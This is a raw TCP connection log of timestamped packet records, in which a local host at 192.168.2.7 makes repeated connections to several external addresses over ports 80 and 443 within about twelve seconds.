Nov 1, 2024 12:34:42.304629087 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:42.304645061 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:42.304902077 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:42.335360050 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:42.336139917 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:42.336174965 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:42.336296082 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:42.336328983 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:42.336467028 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:42.336502075 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:42.336639881 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:42.336675882 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:42.336843967 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:42.336879015 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:42.337049007 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:42.337091923 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:42.337101936 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:42.337116003 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:42.337310076 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:42.337352991 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:42.337382078 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:42.337524891 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:42.337570906 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:42.346652985 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:42.346831083 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:42.346873999 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:42.346905947 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:42.346949100 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:42.352315903 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:42.572639942 CET	80	50013	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:42.572815895 CET	50013	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:42.681538105 CET	50013	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:42.682636976 CET	50015	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:42.687897921 CET	80	50013	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:42.687963009 CET	50013	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:42.688396931 CET	80	50015	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:42.688477993 CET	50015	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:42.690063000 CET	50015	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:42.699515104 CET	80	50015	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:43.605277061 CET	80	50015	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:43.605346918 CET	50015	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:43.646034002 CET	50015	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:43.651021957 CET	80	50015	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:43.932138920 CET	80	50015	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:43.932228088 CET	50015	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:44.099075079 CET	50015	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:44.099425077 CET	50016	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:44.104739904 CET	80	50015	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:44.105317116 CET	80	50016	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:44.105391026 CET	50015	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:44.105433941 CET	50016	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:44.105609894 CET	50016	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:44.111530066 CET	80	50016	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:44.239149094 CET	50010	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:44.553694963 CET	50017	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:44.558775902 CET	80	50017	185.215.113.43	192.168.2.7
Nov 1, 2024 12:34:44.558911085 CET	50017	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:44.559053898 CET	50017	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:44.565046072 CET	80	50017	185.215.113.43	192.168.2.7
Nov 1, 2024 12:34:44.717190027 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:44.717295885 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:44.717384100 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:44.717575073 CET	50014	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:44.717597961 CET	443	50014	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:44.729928017 CET	50018	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:44.729959965 CET	443	50018	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:44.730073929 CET	50018	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:44.730439901 CET	50018	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:44.730453014 CET	443	50018	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:44.895978928 CET	50018	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:45.024550915 CET	80	50016	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:45.024636030 CET	50016	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:45.030555010 CET	50016	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:45.035523891 CET	80	50016	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:45.323024988 CET	80	50016	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:45.323096991 CET	50016	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:45.475109100 CET	80	50017	185.215.113.43	192.168.2.7
Nov 1, 2024 12:34:45.475301981 CET	50017	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:45.492510080 CET	50016	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:45.492839098 CET	50019	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:45.497963905 CET	80	50019	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:45.498049974 CET	50019	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:45.498478889 CET	80	50016	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:45.502181053 CET	50016	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:45.502707005 CET	50019	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:45.507968903 CET	80	50019	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:46.416150093 CET	80	50019	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:46.416234016 CET	50019	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:46.417587996 CET	50019	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:46.422579050 CET	80	50019	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:46.439137936 CET	50020	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:46.439187050 CET	443	50020	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:46.439265966 CET	50020	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:46.440546036 CET	50020	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:46.440567017 CET	443	50020	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:46.703649044 CET	80	50019	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:46.703702927 CET	50019	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:46.820151091 CET	50019	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:46.820563078 CET	50021	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:47.005826950 CET	50017	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:47.006172895 CET	50022	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:47.041491032 CET	80	50021	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:47.041573048 CET	50021	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:47.041866064 CET	80	50019	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:47.041917086 CET	50019	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:47.041927099 CET	443	50020	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:47.041985035 CET	50020	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:47.042157888 CET	50021	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:47.042949915 CET	80	50022	185.215.113.43	192.168.2.7
Nov 1, 2024 12:34:47.043020010 CET	50022	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:47.043598890 CET	80	50017	185.215.113.43	192.168.2.7
Nov 1, 2024 12:34:47.043667078 CET	50017	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:47.043795109 CET	50020	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:47.043804884 CET	443	50020	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:47.043898106 CET	50022	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:47.043994904 CET	443	50020	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:47.047132015 CET	80	50021	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:47.048935890 CET	80	50022	185.215.113.43	192.168.2.7
Nov 1, 2024 12:34:47.108444929 CET	50020	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:47.108494043 CET	50020	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:47.108506918 CET	443	50020	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:47.548278093 CET	443	50020	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:47.548362970 CET	443	50020	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:47.548440933 CET	50020	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:47.548701048 CET	50020	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:47.548701048 CET	50020	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:47.548717022 CET	443	50020	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:47.548724890 CET	443	50020	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:47.655517101 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:47.655577898 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:47.655653000 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:47.656048059 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:47.656063080 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:47.944226980 CET	80	50021	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:47.944288015 CET	50021	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:47.945184946 CET	50021	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:47.950012922 CET	80	50021	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:47.998677969 CET	80	50022	185.215.113.43	192.168.2.7
Nov 1, 2024 12:34:47.998864889 CET	50022	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:48.227380991 CET	80	50021	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:48.227448940 CET	50021	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:48.264856100 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.264930964 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:48.287652969 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:48.287698984 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.288012981 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.292468071 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:48.294118881 CET	50024	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:48.294121027 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:48.294147968 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.299020052 CET	80	50024	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:48.299367905 CET	50024	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:48.299417019 CET	50024	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:48.304709911 CET	80	50024	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:48.349988937 CET	50021	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:48.350368977 CET	50025	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:48.355364084 CET	80	50025	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:48.355386019 CET	80	50021	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:48.355518103 CET	50021	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:48.355878115 CET	50025	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:48.355878115 CET	50025	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:48.361185074 CET	80	50025	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:48.609694004 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.609743118 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.609774113 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.609890938 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:48.609940052 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.610189915 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.610229969 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.610233068 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:48.610241890 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.610263109 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:48.610292912 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.610327005 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:48.610333920 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.614561081 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.617959976 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:48.617986917 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.676789045 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:48.726481915 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.726713896 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.726767063 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:48.726811886 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.726985931 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.727031946 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:48.727154016 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:48.727175951 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:48.727185965 CET	50023	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:48.727191925 CET	443	50023	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:49.016885996 CET	50026	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:49.016962051 CET	443	50026	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:49.019304037 CET	50026	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:49.019731998 CET	50026	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:49.019745111 CET	443	50026	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:49.190742970 CET	80	50024	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:49.190932989 CET	50024	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:49.263252974 CET	80	50025	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:49.263310909 CET	50025	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:49.264163017 CET	50025	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:49.269516945 CET	80	50025	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:49.549552917 CET	80	50025	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:49.549743891 CET	50025	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:49.662139893 CET	50025	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:49.662318945 CET	50027	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:49.665993929 CET	443	50026	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:49.666140079 CET	50026	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:49.667490005 CET	50026	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:49.667499065 CET	443	50026	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:49.667710066 CET	443	50026	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:49.668308020 CET	80	50027	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:49.668323994 CET	80	50025	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:49.668385029 CET	50025	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:49.668397903 CET	50027	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:49.668592930 CET	50027	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:49.669059992 CET	50026	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:49.669199944 CET	50026	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:49.669219971 CET	443	50026	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:49.673865080 CET	80	50027	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:50.206681967 CET	443	50026	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:50.206784964 CET	443	50026	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:50.206860065 CET	50026	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:50.207098961 CET	50026	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:50.207113981 CET	443	50026	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:50.478136063 CET	50028	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:50.478193045 CET	443	50028	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:50.478281975 CET	50028	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:50.478657007 CET	50028	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:50.478668928 CET	443	50028	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:50.585589886 CET	80	50027	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:50.585750103 CET	50027	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:50.587119102 CET	50027	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:50.592017889 CET	80	50027	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:50.873172998 CET	80	50027	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:50.873224974 CET	50027	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:50.959028959 CET	50022	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:50.959424973 CET	50029	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:50.964344025 CET	80	50022	185.215.113.43	192.168.2.7
Nov 1, 2024 12:34:50.964409113 CET	50022	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:50.964768887 CET	80	50029	185.215.113.43	192.168.2.7
Nov 1, 2024 12:34:50.964831114 CET	50029	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:50.964941978 CET	50029	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:50.970072985 CET	80	50029	185.215.113.43	192.168.2.7
Nov 1, 2024 12:34:50.974643946 CET	50027	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:50.975142002 CET	50030	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:50.980201960 CET	80	50027	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:50.980257034 CET	50027	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:50.980298042 CET	80	50030	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:50.980532885 CET	50030	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:50.980532885 CET	50030	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:50.985764027 CET	80	50030	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:51.078087091 CET	443	50028	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:51.078161001 CET	50028	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:51.079617023 CET	50028	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:51.079638004 CET	443	50028	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:51.080030918 CET	443	50028	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:51.081422091 CET	50028	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:51.081545115 CET	50028	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:51.081566095 CET	443	50028	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:51.081614017 CET	50028	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:51.081623077 CET	443	50028	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:51.640522957 CET	443	50028	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:51.640630007 CET	443	50028	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:51.640701056 CET	50028	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:51.640921116 CET	50028	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:51.640944958 CET	443	50028	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:51.869529009 CET	80	50029	185.215.113.43	192.168.2.7
Nov 1, 2024 12:34:51.869605064 CET	50029	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:34:51.877667904 CET	80	50030	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:51.877756119 CET	50030	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:51.899138927 CET	50030	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:51.904297113 CET	80	50030	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:51.987498045 CET	50031	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:51.987581015 CET	443	50031	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:51.987648964 CET	50031	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:51.987999916 CET	50031	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:51.988018990 CET	443	50031	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:52.065679073 CET	50024	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:52.066011906 CET	50032	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:52.071228027 CET	80	50032	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:52.071296930 CET	50032	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:52.071439028 CET	50032	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:52.072062016 CET	80	50024	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:52.072108030 CET	50024	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:52.076481104 CET	80	50032	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:52.180685997 CET	80	50030	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:52.180963993 CET	50030	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:52.288880110 CET	50030	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:52.289171934 CET	50033	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:52.294523001 CET	80	50030	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:52.294574022 CET	80	50033	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:52.294636965 CET	50030	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:52.294709921 CET	50033	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:52.294840097 CET	50033	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:52.300230026 CET	80	50033	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:52.607880116 CET	443	50031	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:52.607975006 CET	50031	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:52.609316111 CET	50031	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:52.609327078 CET	443	50031	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:52.609554052 CET	443	50031	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:52.610856056 CET	50031	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:52.611167908 CET	50031	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:52.611202955 CET	443	50031	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:52.611273050 CET	50031	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:52.611284018 CET	443	50031	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:52.987796068 CET	80	50032	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:52.987936020 CET	50032	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:53.202505112 CET	80	50033	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:53.202579975 CET	50033	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:53.203344107 CET	50033	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:53.208472967 CET	80	50033	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:53.268039942 CET	443	50031	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:53.268134117 CET	443	50031	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:53.268299103 CET	50031	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:53.268547058 CET	50031	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:53.268564939 CET	443	50031	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:53.490617037 CET	80	50033	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:53.490684986 CET	50033	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:53.599379063 CET	50033	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:53.599699974 CET	50034	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:53.604839087 CET	80	50033	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:53.604867935 CET	80	50034	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:53.604901075 CET	50033	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:53.604955912 CET	50034	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:53.605107069 CET	50034	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:53.610431910 CET	80	50034	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:53.641911983 CET	50035	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:53.641938925 CET	443	50035	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:53.642023087 CET	50035	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:53.642354965 CET	50035	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:53.642362118 CET	443	50035	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:54.249291897 CET	443	50035	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:54.249437094 CET	50035	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:54.250830889 CET	50035	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:54.250837088 CET	443	50035	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:54.251049042 CET	443	50035	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:54.252348900 CET	50035	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:54.252465963 CET	50035	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:54.252471924 CET	443	50035	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:54.503099918 CET	80	50034	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:54.503228903 CET	50034	80	192.168.2.7	185.215.113.16
